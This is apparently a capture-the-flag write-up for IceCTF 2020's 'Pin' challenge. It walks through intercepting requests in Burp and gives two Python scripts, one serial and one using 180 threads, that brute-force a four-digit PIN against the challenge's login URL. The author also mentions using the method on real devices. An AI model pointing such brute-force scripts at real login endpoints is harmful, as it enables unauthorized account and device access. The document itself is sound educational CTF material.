IceCTF 2020 - Multithreading Requests
IceCTF took place over the weekend and had a range of fun challenges. This writeup will be focussing on the miscellaneous category and the 'Pin' challenge, which involved looking at requests in Burp and multithreading them using Python to brute-force a four digit passcode in a short period of time.
The Challenge
Name: Pin
Category: Miscellaneous
Points: 100
Requirements: Python, Burp.
You are late again, and just can’t remember the PIN code to the locker that has the secret Novichok stuff you need for work. What do you do?
Initial Analysis
The link in the challenge description takes us to a lockscreen which resembles an iOS one. Immediately I tried entering a bunch of random passcodes such as 1234, 1337 ect. to see if anything in the URL would change (or maybe even luck out and get it through guessing) but as expected, I didn’t learn much. I decided to fire up Burp, a tool which allows one to peek at requests and modify them, which gave me a better understanding of what was going on behind the scenes.
I navigated to the ‘Proxy’ tab and selected ‘Open Browser’. This opens up Chromium which Burp can directly interface with. ‘Intercept is on’ should be selected by default, which will allow us to stop and modify any requests before they’re sent.
Now that we’ve got everything we need, we can paste the link into the browser and see what Burp tells us.
First off, since we’re only navigating to the home page there’s nothing we didn’t already know in this request. What we’re actually interested in is what happens when we enter in a passcode, so let’s try that.
This looks more promising…we can see a GET request to another URL (www.misc-pin.vuln.icec.tf/login/1337) which contains the passcode we just entered. This is great news, as it means we can brute-force it through spamming requests with all 10,000 possible combinations. It’d also be good to see how the website responds to a wrong passcode - we can use Burp’s ‘Repeater’ tool for this. Simply right click the request and select the ‘Send to Repeater’ option.
Navigate to the ‘Repeater’ tab and click ‘Send’:
We get some JSON data returned, which is perfect, as it means we can check the response from the website to see if the correct field is set to true or false when we automate it.
Bruteforcing Requests
We now know that the passcode is being sent to /login/ via a GET request, so all we need to do is write a script that can try every combination. This is where the Python requests module comes in handy. The following script mimics someone entering in all possible passcodes and analyses the response from the website:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
for pin in range(9999):
# allows us to try '0001' instead of just '1' as a passcode
pin = '{0:04}'.format(pin)
print('Trying: ' + pin)
# creates a new URL each time with a new passcode to try
URL = "http://www.misc-pin.vuln.icec.tf/login/" + str(pin)
# performs a GET request and stores the response in r
r = requests.get(url = URL)
temp = str(r.content)
print(temp)
# checks if the 'correct' field is set to true
if 'true' in temp:
print('FOUND!' + '\nPASSWORD: ' + pin)
quit()
The above is a relatively easy solution that gets the job done…but it’s really slow. I left it running, looked at some other challenges and eventually got a match for 1729 after 15 minutes. The flag was IceCTF{t1mIng_r3al1y_is_everyth1ng_isNt_it}, which I thought was quite fitting.
Now, it would’ve been okay to stop here as the challenge was solved and I had the flag, but I knew that there was a much faster way to do this so I looked into multithreading and came across ThreadPoolExecutor. Through rewriting the script, I came up with the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from concurrent.futures.thread import ThreadPoolExecutor
from requests import Session, Response
from requests.adapters import HTTPAdapter
from functools import partial
from multiprocessing import Pool
import tqdm
import os
def execute(urls, method, size):
i = 0
# creates a new session
session = Session()
session.mount('http://', HTTPAdapter(pool_maxsize = size))
# creates a worker that calls make_request
worker = partial(method, session)
# executes make_request asynchronously with 180 workers
with ThreadPoolExecutor(size) as pool:
# creates a progress bar and allows us to check responses
for req in tqdm.tqdm(pool.map(worker, urls), total = len(urls)):
temp = str(req.content)
if "true" in temp:
print("\n\nFOUND! Password is: " + str(i))
print(str(req.content) + "\n")
quit()
i+=1
session.close()
# method we want to multithread
def make_request(session, url):
return session.get(url)
# generates a list of all 10000 URLs
urls = [("http://www.misc-pin.vuln.icec.tf/login/" + "{0:04}".format(num)) for num in range(9999)]
# kick starts the program with 180 workers
execute(urls, make_request, 180)
This cracked the passcode in under 10 seconds (compared to 15 minutes before) and works by doing the previous solution, but much faster through calling make_request 180 times, rather than just once per iteration of the URL list. The optimised script gets through 1729 requests before the previous one can even do 15.
The reason I selected 180 for the amount of workers is because I found it was a sweet spot in terms of speed for my computer as it started to slow down with anything higher - although I’m sure this will greatly vary depending on a device’s CPU. I also added a progress bar using tqdm. Here’s a time comparison between the two (multithreaded version on the right):
and that’s it! Bit of a shorter writeup, but I thought I’d share my solution which I think will come in handy for future challenges. I’m sure there are many other applications of this too (such as cracking passcodes of real devices which use digit combinations and have no retry limit), so that’s something I’ll be looking into a little more…ethically of course.
What did I learn?
1) Multithreading in Python.
2) Multithreading and brute-forcing go hand in hand.
3) Shorter solutions aren’t always better.







